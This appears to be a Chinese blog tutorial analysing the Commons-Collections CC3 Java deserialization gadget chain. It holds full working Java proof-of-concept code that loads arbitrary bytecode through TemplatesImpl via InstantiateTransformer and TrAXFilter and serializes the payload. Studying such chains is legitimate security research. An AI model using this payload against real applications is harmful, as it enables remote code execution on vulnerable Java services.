CC3
cc_link_three
0x00前言
这里要单独学cc链子三是因为它的调用方式不是执行命令而是代码执行,是一种动态类加载机制来执行代码,然后类加载的时候要用类加载器
0x01开整
首先明白调用机制loadClass---findClass---defineclass这三个流程
就再dfineClass的时候执行代码块之类的嘛所以我们找找defineClass有没有利用的的点,找了很多defineClass都是私有的和保护的我们要找一个公开的方法
最后在com.sun.org.apache.xalan.internal.xsltc.trax包下面发现了这个class的方法,只能在本包下访问的限制,然后再追进去看看
然后继续往上调用找到了

然后继续向上寻找有三个值,看看三个值有没有代码执行的可能性

最后在第三个调用哪里发现了一个类加载的机制newInstance()

然而它还是私有的继续往上找一下找到了上一层就发现了公开的方法

这条链子大概就是这样发现了,然后就执行到这个newInstance()然后执行对应文件的代码就可以加载到
开始手搓
确定一下代码执行的地方
先确定一下这个类它确定是继承了这些类的,是可以序列化的

然后确定一下各个位置的值是怎么判断的
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
- _name需要能为空因为我们要继续向下追踪
然后追下去发现

因为我们要调用definclass嘛然后所以_bytecodes也不能为空
_tfactory需要调用_getExternalExtensionsMap()方法所以它也不能为空不然会出现空指针异常的问题
然后就写个正面的payload来看一下嘛
public class cc_link_3 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
//类加载要使用类加载器
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field _namefield = templatesClass.getDeclaredField("_name");
_namefield.setAccessible(true);
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
_namefield.set(templates,"aaaaa");
byte[] code = Files.readAllBytes(Paths.get("C://test.class"));
byte[][] codes={code};
bytecodesField.set(templates,codes);
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
}
}
然后在执行的时候爆了空指针异常嘛可能就是因为在defineclass那个函数里面有些值的赋值没有赋值好

在这个点解读一下就是我们加载的类的父类的名称必须是

在下面这个点的时候

调用了一个put方法然后再这个参数这个时候是空的所以存在空指针异常
这里我们绕过的方式就有两种第一种是让他不进入循环然后去跳开那个if然后给下面空指针那个属性赋一个值,但是我们在后面看来后面还有一个对t_transletIndex进行一个判断的函数,然后再上面那个if还是对_transletIndex变成了-1还是很有用的,所以我们还是进入这个if循环所以给我们的test增加一个AbstrancTranslet的父类

这样就能达到执行代码的效果咯,这条链子的意思呢就是我们只要调用了Templateslmpl.newTransformer方法就可以执行任意代码它有可以执行代码我们就可以直接利用cc链1的transfrom方法去调用
绕过Invokertransfromer
然后其实要执行方法的话我们就想到直接可以用cc链子1或者六的链子直接调用那个方法就行了,然后因为那个方法又是公开的方法所以一直接再invoketransform里面执行就行了然后就可以沿着cc链子继续网上走,这条链子就是去解决runtime被禁止序列化以后的方法去执行调用
HashMap<Object, Object> map = new HashMap<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map laztMap= LazyMap.decorate(map,new ConstantTransformer("22222"));
//因为在前面put的时候就会调用hash然后调用到hashcode这个函数就会被调用,我们用URLdns链相同的方法去掉
TiedMapEntry tiedMapEntry = new TiedMapEntry(laztMap,"aaaa");
HashMap<Object, Object> map1 = new HashMap<>();
map1.put(tiedMapEntry,"bbbb");//这里要因为在put的时候会判读是否存在key存在的话就会把key给put进去
laztMap.remove("aaaa");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(laztMap,chainedTransformer);//这里就是给laztmap改值
//HashMap的readObject方法是调用的是key的hash然后key的hash调用了key.hashcode
serialize(map1);
unseriallize("src.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("src.bin"));
oos.writeObject(obj);
}
public static Object unseriallize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
还有一个问题当我们的核心方法invoketrasnform被ban掉以后我们这条链子就完全断点了,但是我们其实还是有其他方法来继续执行这个代码的就是继续上找一下找到其他方法去调用newTransformer方法
一顿操作以后

直接找到了这个函数发现了构造函数是可以构造的地方,然后直接通过传参的方式获取,但是呢这个类又没有继承可以序列接口,所以我也不知道作者是怎么找到的这个方法

确定链头
在InstantiateTransformer这个类里面的它的构造方法存我们可以构造传入的参数值,而且它的transform还可以调用newInstance,到这里我们基本就完成了我们用URLdns那条链子来作为链头部
整体的调用过程
- HashMap.readObject
- TiedMapEntry.hashCode
- LazyMap.decorate
- ChainedTransformer.transform()
- InstantiateTransformer.transform()
- TrAXFilter
- Transformer.newTransformer()
- 动态类加载来执行(defineClass)
这条链子重要的就是绕开了Invoketransformer
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException {
//类加载要使用类加载器
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field _namefield = templatesClass.getDeclaredField("_name");
_namefield.setAccessible(true);
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
_namefield.set(templates,"aaaaa");
byte[] code = Files.readAllBytes(Paths.get("C://test.class"));
byte[][] codes={code};
bytecodesField.set(templates,codes);
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
//在这里是InstantiateTransforme的获取构造器的方法然后用TrAXFilter调用构造器之后就可以构造出函数
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
HashMap<Object, Object> map = new HashMap<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map laztMap= LazyMap.decorate(map,new ConstantTransformer("22222"));
//因为在前面put的时候就会调用hash然后调用到hashcode这个函数就会被调用,我们用URLdns链相同的方法去掉
TiedMapEntry tiedMapEntry = new TiedMapEntry(laztMap,"aaaa");
HashMap<Object, Object> map1 = new HashMap<>();
map1.put(tiedMapEntry,"bbbb");//这里要因为在put的时候会判读是否存在key存在的话就会把key给put进去
laztMap.remove("aaaa");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(laztMap,chainedTransformer);//这里就是给laztmap改值
//HashMap的readObject方法是调用的是key的hash然后key的hash调用了key.hashcode
serialize(map1);
unseriallize("src.bin");
}
0x02小结
CC3 链作为另外一种命令执行的方式,在原本黑名单的机会当中溜了出来,确实牛逼。作为利用类加载机制的执行方式,前面的触发头又有了多种可能,是值得学习一下的
CC3的更多相关文章
- CC3的多列属性Multi-column
CC3的多列属性Multi-column 一直都很想了解这个属性,总是忘了.今天可以研究一下,回想起想了解它的原因,大概是觉得它很容易分开几列.可能会有很多好处和方便. 0 16-09-17 1 16 ...
- YsoSerial 工具常用Payload分析之CC3(二)
这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1.3.5.6.7(common-collections 3.1),cc2.4(common- ...
- Java安全之CC3
前言 上一篇文章学习了Java中加载字节码的⼀些⽅法,其中介绍了TemplatesImpl,TemplatesImpl 是⼀个可以加载字节码的类,通过调⽤其newTransformer()⽅法,即可执 ...
- CC3中的2D转换
2D转换方法: translate() rotate() scale() skew() matrix() 1.translate()方法,根据左(X轴)和顶部(Y轴)位置给定的参数,从当前元素位置移动 ...
- SASS教程sass超详细教程
SASS安装及使用(sass教程.详细教程) 采用SASS开发CSS,可以提高开发效率. SASS建立在Ruby的基础之上,所以得先安装Ruby. Ruby的安装: 安装 rubyinstaller- ...
- spring boot(二):web综合开发
上篇文章介绍了Spring boot初级教程:spring boot(一):入门篇,方便大家快速入门.了解实践Spring boot特性:本篇文章接着上篇内容继续为大家介绍spring boot的其它 ...
- 前端css框架SASS使用教程(转)
一.什么是SASS SASS是一种CSS的开发工具,提供了许多便利的写法,大大节省了设计者的时间,使得CSS的开发,变得简单和可维护. 本文总结了SASS的主要用法.我的目标是,有了这篇文章,日常的一 ...
- SASS 入门笔记
参考资料: SASS 用法指南 SASS 语法 Sass Basics SASS_REFERENCE sass 有两种后缀名文件:一种后缀名为 sass,不使用大括号和分号:另一种就是我们这里使用的 ...
- 【krpano】krpano xml资源解密(破解)软件说明与下载(v1.4)
欢迎加入qq群551278936讨论krpano技术以及获取最新软件. 该软件已经不再维护,现在已经被KRPano资源分析工具取代,详情参见 http://www.cnblogs.com/reac ...
随机推荐
- Filter中的FilterChain.doFilter(req,resp)的报错解决
服务器内部错误:500 Request processing failed; nested exception is java.lang.IllegalStateException: 提交响应后无法调 ...
- logstash客户端传送symantec日志到elasticsearch
一.安装相应版本的logstash wget https://artifacts.elastic.co/downloads/beats/logstash/logstash-7.5.2-x86_64.r ...
- elementUI中page(分页)的使用方法
HTML部分 <!-- 快捷键 page-div --> <el-pagination background layout="sizes,prev, pager, next ...
- 关于在PyCharm中使用虚拟环境
Python虚拟环境的概念对于管理项目用到的第三方包真是好处多多,所以也想在PyCharm使用虚拟环境. 在这个过程中,遇到很多问题: 第一是使用Python创建虚拟环境,然后在PyCharm创建项目 ...
- 【C++】GoogleTest入门指南
参考: GoogleTest官网 基本概念 要使用GoogleTest,需要包含header gtest/gtest.h 断言Assertions 断言是检查条件是否为真的语句,其结果可能是成功或失败 ...
- ProxySQL 读写分离方法
转载自:https://www.jianshu.com/p/597b840bf70c (使用正则表达式实现基本的读/写分离) 在这一部分,我将通过一个示例来演示如何通过正则表达式来实现读/写分离. 首 ...
- Elasticsearch的mapping讲解
映射是定义文档及其包含的字段的存储和索引方式的过程. 映射定义具有: 元字段 元字段用于自定义如何处理关联的文档元数据.包括文档 _index,_id和 _source领域. 字段或属性 映射包含pr ...
- Portainer安装,配置自定义镜像仓库拉取镜像
Portainer介绍 Portainer是Docker的图形化管理工具,提供状态显示面板.应用模板快速部署.容器镜像网络数据卷的基本操作(包括上传下载镜像,创建容器等操作).事件日志显示.容器控制台 ...
- 基于 Apache Hudi 极致查询优化的探索实践
摘要:本文主要介绍 Presto 如何更好的利用 Hudi 的数据布局.索引信息来加速点查性能. 本文分享自华为云社区<华为云基于 Apache Hudi 极致查询优化的探索实践!>,作者 ...
- Dapr 长程测试和混沌测试
介绍 这是Dapr的特色项目,具体参见: https://github.com/dapr/test-infra/issues/11 ,在全天候运行的应用程序中保持Dapr可靠性至关重要.在部署真正的应 ...